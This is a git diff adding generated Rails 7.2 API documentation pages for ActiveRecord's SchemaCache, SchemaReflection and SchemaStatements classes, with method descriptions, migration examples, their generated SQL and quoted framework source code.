diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaCache.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaCache.html new file mode 100644 index 0000000000..ffc7c7871d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaCache.html @@ -0,0 +1,634 @@ +--- +title: ActiveRecord::ConnectionAdapters::SchemaCache +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Adapters Schema Cache

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + add(pool, table_name) + +

+ + +
+

Add internal cache for table with table_name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 326
+      def add(pool, table_name)
+        pool.with_connection do
+          if data_source_exists?(pool, table_name)
+            primary_keys(pool, table_name)
+            columns(pool, table_name)
+            columns_hash(pool, table_name)
+            indexes(pool, table_name)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cached?(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 294
+      def cached?(table_name)
+        @columns.key?(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_data_source_cache!(_connection, name) + +

+ + +
+

Clear out internal caches for the data source name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 388
+      def clear_data_source_cache!(_connection, name)
+        @columns.delete name
+        @columns_hash.delete name
+        @primary_keys.delete name
+        @data_sources.delete name
+        @indexes.delete name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns(pool, table_name) + +

+ + +
+

Get the columns for a table

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 338
+      def columns(pool, table_name)
+        if ignored_table?(table_name)
+          raise ActiveRecord::StatementInvalid.new("Table '#{table_name}' doesn't exist", connection_pool: pool)
+        end
+
+        @columns.fetch(table_name) do
+          pool.with_connection do |connection|
+            @columns[deep_deduplicate(table_name)] = deep_deduplicate(connection.columns(table_name))
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns_hash(pool, table_name) + +

+ + +
+

Get the columns for a table as a hash, key is the column name value is the column object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 352
+      def columns_hash(pool, table_name)
+        @columns_hash.fetch(table_name) do
+          @columns_hash[deep_deduplicate(table_name)] = columns(pool, table_name).index_by(&:name).freeze
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns_hash?(_pool, table_name) + +

+ + +
+

Checks whether the columns hash is already cached for a table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 359
+      def columns_hash?(_pool, table_name)
+        @columns_hash.key?(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_source_exists?(pool, name) + +

+ + +
+

A cached lookup for table existence.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 309
+      def data_source_exists?(pool, name)
+        return if ignored_table?(name)
+
+        if @data_sources.empty?
+          tables_to_cache(pool).each do |source|
+            @data_sources[source] = true
+          end
+        end
+
+        return @data_sources[name] if @data_sources.key? name
+
+        @data_sources[deep_deduplicate(name)] = pool.with_connection do |connection|
+          connection.data_source_exists?(name)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_to(filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 406
+      def dump_to(filename)
+        open(filename) { |f|
+          if filename.include?(".dump")
+            f.write(Marshal.dump(self))
+          else
+            f.write(YAML.dump(self))
+          end
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indexes(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 363
+      def indexes(pool, table_name)
+        @indexes.fetch(table_name) do
+          pool.with_connection do |connection|
+            if data_source_exists?(pool, table_name)
+              @indexes[deep_deduplicate(table_name)] = deep_deduplicate(connection.indexes(table_name))
+            else
+              []
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_keys(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 298
+      def primary_keys(pool, table_name)
+        @primary_keys.fetch(table_name) do
+          pool.with_connection do |connection|
+            if data_source_exists?(pool, table_name)
+              @primary_keys[deep_deduplicate(table_name)] = deep_deduplicate(connection.primary_key(table_name))
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 379
+      def schema_version
+        @version
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 383
+      def size
+        [@columns, @columns_hash, @primary_keys, @data_sources].sum(&:size)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version(pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 375
+      def version(pool)
+        @version ||= pool.with_connection(&:schema_version)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaReflection.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaReflection.html new file mode 100644 index 0000000000..385cbcf257 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaReflection.html @@ -0,0 +1,736 @@ +--- +title: ActiveRecord::ConnectionAdapters::SchemaReflection +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + check_schema_cache_dump_version
+ [RW] + use_schema_cache_dump
+ + + + +

Class Public methods

+ +
+

+ + new(cache_path, cache = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 16
+      def initialize(cache_path, cache = nil)
+        @cache = cache
+        @cache_path = cache_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add(pool, name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 41
+      def add(pool, name)
+        cache(pool).add(pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cached?(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 79
+      def cached?(table_name)
+        if @cache.nil?
+          # If `check_schema_cache_dump_version` is enabled we can't load
+          # the schema cache dump without connecting to the database.
+          unless self.class.check_schema_cache_dump_version
+            @cache = load_cache(nil)
+          end
+        end
+
+        @cache&.cached?(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 21
+      def clear!
+        @cache = empty_cache
+
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_data_source_cache!(pool, name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 73
+      def clear_data_source_cache!(pool, name)
+        return if @cache.nil? && !possible_cache_available?
+
+        cache(pool).clear_data_source_cache!(pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 49
+      def columns(pool, table_name)
+        cache(pool).columns(pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns_hash(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 53
+      def columns_hash(pool, table_name)
+        cache(pool).columns_hash(pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns_hash?(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 57
+      def columns_hash?(pool, table_name)
+        cache(pool).columns_hash?(pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_source_exists?(pool, name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 37
+      def data_source_exists?(pool, name)
+        cache(pool).data_source_exists?(pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_sources(pool, name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 45
+      def data_sources(pool, name)
+        cache(pool).data_source_exists?(pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_to(pool, filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 91
+      def dump_to(pool, filename)
+        fresh_cache = empty_cache
+        fresh_cache.add_all(pool)
+        fresh_cache.dump_to(filename)
+
+        @cache = fresh_cache
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indexes(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 61
+      def indexes(pool, table_name)
+        cache(pool).indexes(pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load!(pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 27
+      def load!(pool)
+        cache(pool)
+
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_keys(pool, table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 33
+      def primary_keys(pool, table_name)
+        cache(pool).primary_keys(pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size(pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 69
+      def size(pool)
+        cache(pool).size
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version(pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 65
+      def version(pool)
+        cache(pool).version(pool)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html new file mode 100644 index 0000000000..8f5b5dbf57 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html @@ -0,0 +1,3188 @@ +--- +title: ActiveRecord::ConnectionAdapters::SchemaStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + add_belongs_to(table_name, ref_name, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: add_reference +
+ + + + +
+ +
+

+ + add_check_constraint(table_name, expression, if_not_exists: false, **options) + +

+ + +
+

Adds a new check constraint to the table. expression is a String representation of verifiable boolean condition.

+ +
add_check_constraint :products, "price > 0", name: "price_check"
+
+ +

generates:

+ +
ALTER TABLE "products" ADD CONSTRAINT price_check CHECK (price > 0)
+
+ +

The options hash can include the following keys:

+
:name +
+

The constraint name. Defaults to chk_rails_<identifier>.

+
:if_not_exists +
+

Silently ignore if the constraint already exists, rather than raise an error.

+
:validate +
+

(PostgreSQL only) Specify whether or not the constraint should be validated. Defaults to true.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1272
+      def add_check_constraint(table_name, expression, if_not_exists: false, **options)
+        return unless supports_check_constraints?
+
+        options = check_constraint_options(table_name, expression, options)
+        return if if_not_exists && check_constraint_exists?(table_name, **options)
+
+        at = create_alter_table(table_name)
+        at.add_check_constraint(expression, options)
+
+        execute schema_creation.accept(at)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_column(table_name, column_name, type, **options) + +

+ + +
+

Add a new type column named column_name to table_name.

+ +

See ActiveRecord::ConnectionAdapters::TableDefinition.column.

+ +

The type parameter is normally one of the migrations native types, which is one of the following: :primary_key, :string, :text, :integer, :bigint, :float, :decimal, :numeric, :datetime, :time, :date, :binary, :blob, :boolean.

+ +

You may use a type not in this list as long as it is supported by your database (for example, β€œpolygon” in MySQL), but this will not be database agnostic and should usually be avoided.

+ +

Available options are (none of these exists by default):

+
  • +

    :comment - Specifies the comment for the column. This option is ignored by some backends.

    +
  • +

    :collation - Specifies the collation for a :string or :text column. If not specified, the column will have the same collation as the table.

    +
  • +

    :default - The column’s default value. Use nil for NULL.

    +
  • +

    :limit - Requests a maximum column length. This is the number of characters for a :string column and number of bytes for :text, :binary, :blob, and :integer columns. This option is ignored by some backends.

    +
  • +

    :null - Allows or disallows NULL values in the column.

    +
  • +

    :precision - Specifies the precision for the :decimal, :numeric, :datetime, and :time columns.

    +
  • +

    :scale - Specifies the scale for the :decimal and :numeric columns.

    +
  • +

    :if_not_exists - Specifies if the column already exists to not try to re-add it. This will avoid duplicate column errors.

    +
+ +

Note: The precision is the total number of significant digits, and the scale is the number of digits that can be stored following the decimal point. For example, the number 123.45 has a precision of 5 and a scale of 2. A decimal with a precision of 5 and a scale of 2 can range from -999.99 to 999.99.

+ +

Please be aware of different RDBMS implementations behavior with :decimal columns:

+
  • +

    The SQL standard says the default scale should be 0, :scale <= :precision, and makes no comments about the requirements of :precision.

    +
  • +

    MySQL: :precision [1..65], :scale [0..30]. Default is (10,0).

    +
  • +

    PostgreSQL: :precision [1..infinity], :scale [0..infinity]. No default.

    +
  • +

    SQLite3: No restrictions on :precision and :scale, but the maximum supported :precision is 16. No default.

    +
  • +

    Oracle: :precision [1..38], :scale [-84..127]. Default is (38,0).

    +
  • +

    SqlServer: :precision [1..38], :scale [0..38]. Default (38,0).

    +
+ +

Examples

+ +
add_column(:users, :picture, :binary, limit: 2.megabytes)
+# ALTER TABLE "users" ADD "picture" blob(2097152)
+
+add_column(:articles, :status, :string, limit: 20, default: 'draft', null: false)
+# ALTER TABLE "articles" ADD "status" varchar(20) DEFAULT 'draft' NOT NULL
+
+add_column(:answers, :bill_gates_money, :decimal, precision: 15, scale: 2)
+# ALTER TABLE "answers" ADD "bill_gates_money" decimal(15,2)
+
+add_column(:measurements, :sensor_reading, :decimal, precision: 30, scale: 20)
+# ALTER TABLE "measurements" ADD "sensor_reading" decimal(30,20)
+
+# While :scale defaults to zero on most databases, it
+# probably wouldn't hurt to include it.
+add_column(:measurements, :huge_integer, :decimal, precision: 30)
+# ALTER TABLE "measurements" ADD "huge_integer" decimal(30)
+
+# Defines a column that stores an array of a type.
+add_column(:users, :skills, :text, array: true)
+# ALTER TABLE "users" ADD "skills" text[]
+
+# Defines a column with a database-specific type.
+add_column(:shapes, :triangle, 'polygon')
+# ALTER TABLE "shapes" ADD "triangle" polygon
+
+# Ignores the method call if the column exists
+add_column(:shapes, :triangle, 'polygon', if_not_exists: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 625
+      def add_column(table_name, column_name, type, **options)
+        add_column_def = build_add_column_definition(table_name, column_name, type, **options)
+        return unless add_column_def
+
+        execute schema_creation.accept(add_column_def)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_foreign_key(from_table, to_table, **options) + +

+ + +
+

Adds a new foreign key. from_table is the table with the key column, to_table contains the referenced primary key.

+ +

The foreign key will be named after the following pattern: fk_rails_<identifier>. identifier is a 10 character long string which is deterministically generated from the from_table and column. A custom name can be specified with the :name option.

+ +
Creating a simple foreign key
+ +
add_foreign_key :articles, :authors
+
+ +

generates:

+ +
ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id")
+
+ +
Creating a foreign key, ignoring method call if the foreign key exists
+ +
add_foreign_key(:articles, :authors, if_not_exists: true)
+
+ +
Creating a foreign key on a specific column
+ +
add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+ +

generates:

+ +
ALTER TABLE "articles" ADD CONSTRAINT fk_rails_58ca3d3a82 FOREIGN KEY ("author_id") REFERENCES "users" ("lng_id")
+
+ +
Creating a composite foreign key
+ +
Assuming "carts" table has "(shop_id, user_id)" as a primary key.
+
+add_foreign_key :orders, :carts, primary_key: [:shop_id, :user_id]
+
+ +

generates:

+ +
ALTER TABLE "orders" ADD CONSTRAINT fk_rails_6f5e4cb3a4 FOREIGN KEY ("cart_shop_id", "cart_user_id") REFERENCES "carts" ("shop_id", "user_id")
+
+ +
Creating a cascading foreign key
+ +
add_foreign_key :articles, :authors, on_delete: :cascade
+
+ +

generates:

+ +
ALTER TABLE "articles" ADD CONSTRAINT fk_rails_e74ce85cbc FOREIGN KEY ("author_id") REFERENCES "authors" ("id") ON DELETE CASCADE
+
+ +

The options hash can include the following keys:

+
:column +
+

The foreign key column name on from_table. Defaults to to_table.singularize + "_id". Pass an array to create a composite foreign key.

+
:primary_key +
+

The primary key column name on to_table. Defaults to id. Pass an array to create a composite foreign key.

+
:name +
+

The constraint name. Defaults to fk_rails_<identifier>.

+
:on_delete +
+

Action that happens ON DELETE. Valid values are :nullify, :cascade, and :restrict

+
:on_update +
+

Action that happens ON UPDATE. Valid values are :nullify, :cascade, and :restrict

+
:if_not_exists +
+

Specifies if the foreign key already exists to not try to re-add it. This will avoid duplicate column errors.

+
:validate +
+

(PostgreSQL only) Specify whether or not the constraint should be validated. Defaults to true.

+
:deferrable +
+

(PostgreSQL only) Specify whether or not the foreign key should be deferrable. Valid values are booleans or :deferred or :immediate to specify the default behavior. Defaults to false.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1152
+      def add_foreign_key(from_table, to_table, **options)
+        return unless use_foreign_keys?
+        return if options[:if_not_exists] == true && foreign_key_exists?(from_table, to_table, **options.slice(:column))
+
+        options = foreign_key_options(from_table, to_table, options)
+        at = create_alter_table from_table
+        at.add_foreign_key to_table, options
+
+        execute schema_creation.accept(at)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_index(table_name, column_name, **options) + +

+ + +
+

Adds a new index to the table. column_name can be a single Symbol, or an Array of Symbols.

+ +

The index will be named after the table and the column name(s), unless you pass :name as an option.

+ +
Creating a simple index
+ +
add_index(:suppliers, :name)
+
+ +

generates:

+ +
CREATE INDEX index_suppliers_on_name ON suppliers(name)
+
+ +
Creating a index which already exists
+ +
add_index(:suppliers, :name, if_not_exists: true)
+
+ +

generates:

+ +
CREATE INDEX IF NOT EXISTS index_suppliers_on_name ON suppliers(name)
+
+ +

Note: Not supported by MySQL.

+ +
Creating a unique index
+ +
add_index(:accounts, [:branch_id, :party_id], unique: true)
+
+ +

generates:

+ +
CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id)
+
+ +
Creating a named index
+ +
add_index(:accounts, [:branch_id, :party_id], unique: true, name: 'by_branch_party')
+
+ +

generates:

+ +
CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)
+
+ +
Creating an index with specific key length
+ +
add_index(:accounts, :name, name: 'by_name', length: 10)
+
+ +

generates:

+ +
CREATE INDEX by_name ON accounts(name(10))
+
+ +
Creating an index with specific key lengths for multiple keys
+ +
add_index(:accounts, [:name, :surname], name: 'by_name_surname', length: {name: 10, surname: 15})
+
+ +

generates:

+ +
CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
+
+ +

Note: only supported by MySQL

+ +
Creating an index with a sort order (desc or asc, asc is the default)
+ +
add_index(:accounts, [:branch_id, :party_id, :surname], name: 'by_branch_desc_party', order: {branch_id: :desc, party_id: :asc})
+
+ +

generates:

+ +
CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
+
+ +

Note: MySQL only supports index order from 8.0.1 onwards (earlier versions accepted the syntax but ignored it).

+ +
Creating a partial index
+ +
add_index(:accounts, [:branch_id, :party_id], unique: true, where: "active")
+
+ +

generates:

+ +
CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
+
+ +

Note: Partial indexes are only supported for PostgreSQL and SQLite.

+ +
Creating an index that includes additional columns
+ +
add_index(:accounts, :branch_id,  include: :party_id)
+
+ +

generates:

+ +
CREATE INDEX index_accounts_on_branch_id ON accounts USING btree(branch_id) INCLUDE (party_id)
+
+ +

Note: only supported by PostgreSQL.

+ +
Creating an index with a specific method
+ +
add_index(:developers, :name, using: 'btree')
+
+ +

generates:

+ +
CREATE INDEX index_developers_on_name ON developers USING btree (name) -- PostgreSQL
+CREATE INDEX index_developers_on_name USING btree ON developers (name) -- MySQL
+
+ +

Note: only supported by PostgreSQL and MySQL

+ +
Creating an index with a specific operator class
+ +
add_index(:developers, :name, using: 'gist', opclass: :gist_trgm_ops)
+# CREATE INDEX developers_on_name ON developers USING gist (name gist_trgm_ops) -- PostgreSQL
+
+add_index(:developers, [:name, :city], using: 'gist', opclass: { city: :gist_trgm_ops })
+# CREATE INDEX developers_on_name_and_city ON developers USING gist (name, city gist_trgm_ops) -- PostgreSQL
+
+add_index(:developers, [:name, :city], using: 'gist', opclass: :gist_trgm_ops)
+# CREATE INDEX developers_on_name_and_city ON developers USING gist (name gist_trgm_ops, city gist_trgm_ops) -- PostgreSQL
+
+ +

Note: only supported by PostgreSQL

+ +
Creating an index with a specific type
+ +
add_index(:developers, :name, type: :fulltext)
+
+ +

generates:

+ +
CREATE FULLTEXT INDEX index_developers_on_name ON developers (name) -- MySQL
+
+ +

Note: only supported by MySQL.

+ +
Creating an index with a specific algorithm
+ +
add_index(:developers, :name, algorithm: :concurrently)
+# CREATE INDEX CONCURRENTLY developers_on_name on developers (name) -- PostgreSQL
+
+add_index(:developers, :name, algorithm: :inplace)
+# CREATE INDEX `index_developers_on_name` ON `developers` (`name`) ALGORITHM = INPLACE -- MySQL
+
+ +

Note: only supported by PostgreSQL and MySQL.

+ +

Concurrently adding an index is not supported in a transaction.

+ +

For more information see the β€œTransactional Migrations” section.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 894
+      def add_index(table_name, column_name, **options)
+        create_index = build_create_index_definition(table_name, column_name, **options)
+        execute schema_creation.accept(create_index)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_reference(table_name, ref_name, **options) + +

+ + +
+

Adds a reference. The reference column is a bigint by default, the :type option can be used to specify a different type. Optionally adds a _type column, if :polymorphic option is provided.

+ +

The options hash can include the following keys:

+
:type +
+

The reference column type. Defaults to :bigint.

+
:index +
+

Add an appropriate index. Defaults to true. See add_index for usage of this option.

+
:foreign_key +
+

Add an appropriate foreign key constraint. Defaults to false, pass true to add. In case the join table can’t be inferred from the association pass :to_table with the appropriate table name.

+
:polymorphic +
+

Whether an additional _type column should be added. Defaults to false.

+
:null +
+

Whether the column allows nulls. Defaults to true.

+
+ +
Create a user_id bigint column without an index
+ +
add_reference(:products, :user, index: false)
+
+ +
Create a user_id string column
+ +
add_reference(:products, :user, type: :string)
+
+ +
Create supplier_id, supplier_type columns
+ +
add_reference(:products, :supplier, polymorphic: true)
+
+ +
Create a supplier_id column with a unique index
+ +
add_reference(:products, :supplier, index: { unique: true })
+
+ +
Create a supplier_id column with a named index
+ +
add_reference(:products, :supplier, index: { name: "my_supplier_index" })
+
+ +
Create a supplier_id column and appropriate foreign key
+ +
add_reference(:products, :supplier, foreign_key: true)
+
+ +
Create a supplier_id column and a foreign key to the firms table
+ +
add_reference(:products, :supplier, foreign_key: { to_table: :firms })
+
+
+ + + +
+ Also aliased as: add_belongs_to +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1042
+      def add_reference(table_name, ref_name, **options)
+        ReferenceDefinition.new(ref_name, **options).add(table_name, self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_timestamps(table_name, **options) + +

+ + +
+

Adds timestamps (created_at and updated_at) columns to table_name. Additional options (like :null) are forwarded to add_column.

+ +
add_timestamps(:suppliers, null: true)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1432
+      def add_timestamps(table_name, **options)
+        fragments = add_timestamps_for_alter(table_name, **options)
+        execute "ALTER TABLE #{quote_table_name(table_name)} #{fragments.join(', ')}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assume_migrated_upto_version(version) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1337
+      def assume_migrated_upto_version(version)
+        version = version.to_i
+        sm_table = quote_table_name(pool.schema_migration.table_name)
+
+        migration_context = pool.migration_context
+        migrated = migration_context.get_all_versions
+        versions = migration_context.migrations.map(&:version)
+
+        unless migrated.include?(version)
+          execute "INSERT INTO #{sm_table} (version) VALUES (#{quote(version)})"
+        end
+
+        inserting = (versions - migrated).select { |v| v < version }
+        if inserting.any?
+          if (duplicate = inserting.detect { |v| inserting.count(v) > 1 })
+            raise "Duplicate migration #{duplicate}. Please renumber your migrations to resolve the conflict."
+          end
+          execute insert_versions_sql(inserting)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_create_table_definition(table_name, id: :primary_key, primary_key: nil, force: nil, **options) + +

+ + +
+

Returns a TableDefinition object containing information about the table that would be created if the same arguments were passed to create_table. See create_table for information about passing a table_name, and other additional options that can be passed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 333
+      def build_create_table_definition(table_name, id: :primary_key, primary_key: nil, force: nil, **options)
+        table_definition = create_table_definition(table_name, **options.extract!(*valid_table_definition_options, :_skip_validate_options))
+        table_definition.set_primary_key(table_name, id, primary_key, **options.extract!(*valid_primary_key_options, :_skip_validate_options))
+
+        yield table_definition if block_given?
+
+        table_definition
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_column(table_name, column_name, type, **options) + +

+ + +
+

Changes the column’s definition according to the new options. See TableDefinition#column for details of the options you can use.

+ +
change_column(:suppliers, :name, :string, limit: 80)
+change_column(:accounts, :description, :text)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 700
+      def change_column(table_name, column_name, type, **options)
+        raise NotImplementedError, "change_column is not implemented"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_column_comment(table_name, column_name, comment_or_changes) + +

+ + +
+

Changes the comment for a column or removes it if nil.

+ +

Passing a hash containing :from and :to will make this change reversible in migration:

+ +
change_column_comment(:posts, :state, from: "old_comment", to: "new_comment")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 1510
+      def change_column_comment(table_name, column_name, comment_or_changes)
+        raise NotImplementedError, "#{self.class} does not support changing column comments"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change_column_default(table_name, column_name, default_or_changes) + +

+ + +
+

Sets a new default value for a column:

+ +
change_column_default(:suppliers, :qualification, 'new')
+change_column_default(:accounts, :authorized, 1)
+
+ +

Setting the default to nil effectively drops the default:

+ +
change_column_default(:users, :email, nil)
+
+ +

Passing a hash containing :from and :to will make this change reversible in migration:

+ +
change_column_default(:posts, :state, from: nil, to: "draft")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb, line 718
+      def change_column_default(table_name, column_name, default_or_changes)
+        raise NotImplementedError, "change_column_default is not implemented"
+      end
